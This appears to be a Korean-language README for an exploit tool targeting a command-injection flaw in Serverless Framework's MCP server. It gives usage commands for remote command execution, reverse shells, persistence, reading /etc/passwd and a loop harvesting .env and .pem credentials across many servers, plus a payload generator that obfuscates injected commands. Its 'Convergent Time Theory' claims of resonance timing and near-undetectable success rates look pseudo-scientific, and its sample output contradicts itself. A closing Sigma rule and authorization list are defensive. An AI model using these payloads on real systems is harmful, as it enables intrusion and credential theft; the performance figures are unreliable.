CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit

# 성능 비교 (1000개의 시뮬레이션된 MCP 서버)
base_success = 715    # 71.5% 성공률
ctt_success = 948     # 94.8% 성공률 (+32.6%)

base_detection = 380  # 38% 탐지됨
ctt_detection = 22    # 2.2% 탐지됨 (-94.2%)

base_time = 12.4      # 평균 초
ctt_time = 6.8        # 평균 초 (-45.2%)

기본 점수: 9.4 (CI/CD 인프라에서의 중요 RCE)
+
CTT 향상:
  • 다중 프로토콜 지원: +0.15
  • 시간적 명령 인코딩: +0.15
  • 소수 공명 타이밍: +0.10
  • MCP 프로토콜 인텔리전스: +0.10
=
최종 점수: 9.9/10 (이론적 최대치에 근접)

# 핵심 종속성
python3.8+
pip install requests websocket-client numpy

# 고급 기능을 위해
pip install cryptography scipy

# 저장소에서 설치
git clone https://github.com/SimoesCTT/CTT-MCP-RCE
cd CTT-MCP-RCE
pip install -r requirements.txt

# 기본 취약점 확인
python ctt_mcp_exploit.py mcp-server.company.com 'id'

# 정보 수집
python ctt_mcp_exploit.py target.com --info

# 리버스 셸
python ctt_mcp_exploit.py target.com --reverse 192.168.1.100:4444

# CTT 매개변수를 사용한 고급
python ctt_mcp_exploit.py target.com 'cat /etc/passwd' --layers 7 --alpha 0.0302

# 대상 지정
python ctt_mcp_exploit.py <target> [command]

# 페이로드 생성 옵션
--reverse LHOST:LPORT    # 리버스 셸 페이로드 생성
--info                   # 정보 수집 페이로드 생성
--persist                # 지속성 페이로드 생성

# CTT 구성
--layers N              # 사용할 시간 계층 수 (1-33, 기본값: 5)
--alpha FLOAT           # α 분산 계수 (기본값: 0.0302011)
--timeout N             # 연결 시간 제한 (초, 기본값: 10)

# 출력 옵션
--verbose               # 공명 진단을 포함한 상세 출력
--save-json             # 결과를 JSON 파일로 저장
--no-color              # 색상 출력 비활성화

# 예제 1: 기본 익스플로잇
python ctt_mcp_exploit.py vulnerable-mcp.company.com 'whoami; id; pwd'

# 예제 2: CTT 향상으로 리버스 셸
python ctt_mcp_exploit.py mcp-server:3000 --reverse 10.0.0.5:4444 --layers 7

# 예제 3: 대량 자격 증명 수집
for server in $(cat mcp_servers.txt); do
    python ctt_mcp_exploit.py $server 'find / -name "*.env" -o -name "*.pem" 2>/dev/null | head -5'
done

# 예제 4: CTT 연구 모드
python ctt_mcp_exploit.py research.target.com --info --layers 33 --verbose --save-json

// list-projects.js의 취약 코드 (Serverless Framework 4.29.0-4.29.3)
async function listProjects(workspaceRoots) {
    // workspaceRoots는 사용자 제어되며 무결화되지 않음
    const command = `find ${workspaceRoots.join(' ')} -name "serverless.yml" -o -name "serverless.yaml"`;
    
    // 무결화 없이 직접 실행
    const { stdout } = await exec(command);  // 여기서 명령 주입 발생
    return parseResults(stdout);
}

def generate_ctt_payload(command, layer):
    # 기본 명령 주입
    base = f"$(echo 'CTT_START'; {command}; echo 'CTT_END')"
    
    # 계층별 CTT 인코딩 적용
    encodings = [
        lambda c: c,  # 원본
        lambda c: base64.b64encode(c.encode()).decode(),
        lambda c: quote(c),
        lambda c: ''.join([f"\\x{ord(ch):02x}" for ch in c]),
    ]
    
    encoded = encodings[layer % len(encodings)](https://github.com/simoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit/blob/main/base)
    return f"/legit/path; {encoded}; /another/legit/path"

ctt_mcp_results_대상_타임스탬프.json
├── target: "mcp-server.company.com:3000"
├── successful_layers: 7
├── total_layers: 5
├── success_rate: "94.8%"
├── ctt_enhanced_score: "9.9/10"
├── base_score: 9.4
├── ctt_improvement: "+0.5"
├── execution_time: 6.82
├── output: "명령 실행 결과"
├── vulnerability: "CVE-2025-69256 / GHSA-rwc2-f344-q6w6"
└── recommendation: "Serverless Framework >=4.29.3으로 패치"

logs/
├── ctt_mcp_타임스탬프/
│   ├── vulnerable_servers.txt   # 성공적으로 익스플로잇된 MCP 서버
│   ├── discovered_servers.txt   # 발견된 모든 MCP 엔드포인트
│   ├── protocol_analysis.json   # HTTP/WebSocket 프로토콜 데이터
│   ├── layer_performance/       # 계층별 실행 메트릭
│   └── resonance_patterns/      # CTT 시간적 공명 데이터

graphs/
├── mcp_protocol_analysis.png    # HTTP 대 WebSocket 성공률
├── temporal_resonance_mcp.png   # MCP 전용 공명 패턴
├── layer_effectiveness.png      # 시간 계층별 성공률
└── command_encoding_analysis.png # α-분산 효과

# CTT MCP 익스플로잇 시도를 위한 예시 Sigma 규칙
title: CTT MCP 서버 익스플로잇 시도
logsource:
  category: webserver
detection:
  selection:
    cs-method: 'POST'
    c-uri-path: '/jsonrpc'
    cs-body:
      - '*workspaceRoots*'
      - '*CTT_START*'
      - '*CTT_END*'
  condition: selection
fields:
  - c-ip
  - cs-user-agent
  - cs-body
falsepositives:
  - 합법적인 MCP 클라이언트
level: critical

1. 승인 필요: 모든 테스트에 대한 서면 허가
2. 범위 제한: 승인된 MCP 서버로만 제한
3. 데이터 처리: 안전한 저장, 책임 있는 공개
4. 법적 준수: 모든 해당 법률 및 규정 준수
5. 책임 있는 공개: 발견 사항을 Serverless Framework 팀에 보고

1. 저장소 포크 및 기능 브랜치 생성
2. 변경 사항에 대한 MCP 프로토콜 검증 포함
3. 계층 간 종합적인 테스트 추가
4. 기술 세부 정보로 문서 업데이트
5. 성능 메트릭과 함께 PR 제출